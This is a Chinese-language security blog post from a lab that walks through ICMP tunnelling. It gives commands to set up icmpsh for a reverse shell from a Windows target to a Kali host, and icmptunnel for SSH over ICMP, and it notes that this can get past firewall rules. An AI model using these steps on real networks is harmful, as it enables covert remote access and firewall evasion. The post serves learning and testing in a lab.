ICMP隧道的应用 – 作者:雷石安全实验室


  ICMP简介  

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。


  icmpsh简介  

icmpsh 是一个简单的基于icmp协议反弹shell的程序,性能较为良好,在主机上运行没有什么权限要求。项目地址
测试环境:

  • kali ip:192.168.1.103

  • win 2008 ip:192.168.1.107
    先在kali里安装icmpsh。

git clone https://github.com/inquisb/icmpsh.git

然后在kali上运行icmpsh,但是再次之前需要修改下一些配置,禁用对ping的响应回复,防止内核对ping数据包进行响应,影响程序。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

服务端开启监听。

cd icmpshpython icmpsh_m.py <attackers-IP> <target-IP>python icmpsh_m.py 192.168.1.103 192.168.1.107

然后将项目下的icmpsh.exe放到靶机上去,执行命令

icmpsh.exe -t <attacker's-IP>icmpsh.exe -t 192.168.1.103

191102_windows.png191102_kalishell.png


  icmp隧道  

ICMP隧道是通过ICMP数据包上的TCP连接建立隧道的一种方法。在这里,我们将访问由ICMP数据包封装的ssh会话。因此,会在第3层建立TCP连接,将其封装为icmp数据包。
环境:
kali:

  • eth0:192.168.1.103

  • tun0: 10.0.1.2

ubuntu:

  • ens33:192.168.1.117

  • tun0: 10.0.1.3
    在两边机器分别操作:

git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake

然后进行设置网卡操作。

./icmptunnel -sCtrl+zbg/sbin/ifconfig tun0 10.0.1.2 netmask 255.255.255.0

191102_tun0.png

同理在ubuntu上执行同样命令,将ip改成10.0.1.3.
然后通过ssh连接即可。
因为一些问题,我这里连不上ssh。


  总结  

实际中,可以通过 wireshark,进行抓包能观察到,走的协议是第三层的协议,在一定程度上能绕过防火墙检测规则。

来源:freebuf.com 2020-06-01 14:43:20 by: 雷石安全实验室

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论